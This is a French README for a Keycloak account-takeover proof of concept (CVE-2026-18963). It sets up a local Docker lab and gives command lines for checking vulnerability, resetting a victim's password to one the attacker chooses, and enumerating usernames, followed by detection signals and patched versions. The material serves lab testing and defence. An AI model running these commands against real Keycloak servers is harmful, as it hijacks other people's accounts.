
Ce dépôt est une preuve de concept (PoC) pour CVE-2026-18963. Veuillez l'utiliser uniquement sur des produits légaux (laboratoire, environnement local, etc.).
Contournement de reset-credentials Keycloak → prise de contrôle de compte non authentifiée CVSS 9.1 | Versions concernées : Keycloak 26.0.0 – 26.7.1
Ce laboratoire est reconstruit à partir du README original de
snizi/cve-2026-18963-exploit.
CVE-2026-18963/
├── cve_2026_18963_poc.py <- Script PoC (Python 3.9+, bibliothèque standard uniquement)
├── README.md
├── docker-compose.yml <- Environnement de laboratoire
└── realm-poc.json <- Configuration du realm Keycloak (import automatique)
docker compose up -d
Ou exécuter Keycloak directement, sans l'import du realm :
docker run -p 127.0.0.1:8080:8080 \
-e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
-e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
quay.io/keycloak/keycloak:26.7.1 start-dev
Attendre environ 30 à 60 secondes que Keycloak termine son démarrage.
| Service | URL | Version | Statut |
|---|---|---|---|
| kc-vuln | http://localhost:8080 | 26.7.1 | VULNÉRABLE ⚠️ |
| Mailpit | http://localhost:8025 | latest | Capture les e-mails |
admin / adminvictim / OriginalPassw0rd!poc | Client : poc-apppoc ou l'utilisateur victim est manquant, l'importer manuellement :
Manage realms → Create realm → Upload realm-poc.json.python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--safe-check
Résultat attendu sur kc-vuln :
[!] VULNERABLE — email gate execution served
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim --check
Effets secondaires : un e-mail de réinitialisation est envoyé à la victime (consultable sur http://localhost:8025), et
emailVerifiedest défini surtrue.
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim \
--new-password 'PoCPassw0rd!1'
Ensuite, vérifier en vous connectant sur http://localhost:8080/realms/poc/account
avec victim / PoCPassw0rd!1.
printf 'victim\nadmin\nnobody\n' > userlist.txt
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--enum userlist.txt
Le realm n'est importé qu'au premier démarrage, donc la réinitialisation la plus simple consiste à recréer l'environnement de zéro :
docker compose down -v && docker compose up -d
Alternativement, réinitialiser le mot de passe manuellement dans la console d'administration
(http://localhost:8080/admin) : Users → victim → Credentials → Reset password
→ OriginalPassw0rd!.
docker compose down -v
| Signal | Légitime | Exploit |
|---|---|---|
GET /login-actions/action-token?... | ✅ Oui | ❌ Non |
POST .../reset-credentials avec le corps tryAnotherWay=yes | ❌ Non | ✅ Oui |
SEND_RESET_PASSWORD → UPDATE_PASSWORD avec le même code_id < 2 s | Rare | ✅ Toujours |
emailVerified passe à true sans événement VERIFY_EMAIL | ❌ | ✅ Toujours |
Dans Mailpit (http://localhost:8025), l'e-mail de réinitialisation de mot de passe arrive dans la boîte mail de la victime, mais le lien qu'il contient n'est jamais cliqué lorsque l'exploit réussit.
| Ligne de version | Concernée | Correctif |
|---|---|---|
| ≤ 17 (WildFly) | Non | — |
| 26.0 – 26.3 | 26.0.0 – 26.x.x | Aucun (passer à 26.7.2) |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15 (backport éditeur) |
| 26.5 | 26.5.0 – 26.5.7 | Aucun |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6 (backport éditeur) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 ✅ |
Les versions antérieures à 26.0 ne sont pas concernées : la note persistante
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYEDet l'écran de sélection « Try another way » dans le flux de réinitialisation ont été introduits en 26.0.0. Les anciennes versions ne disposent tout simplement pas du chemin de code vulnérable — ce qui n'est pas la même chose qu'être corrigé.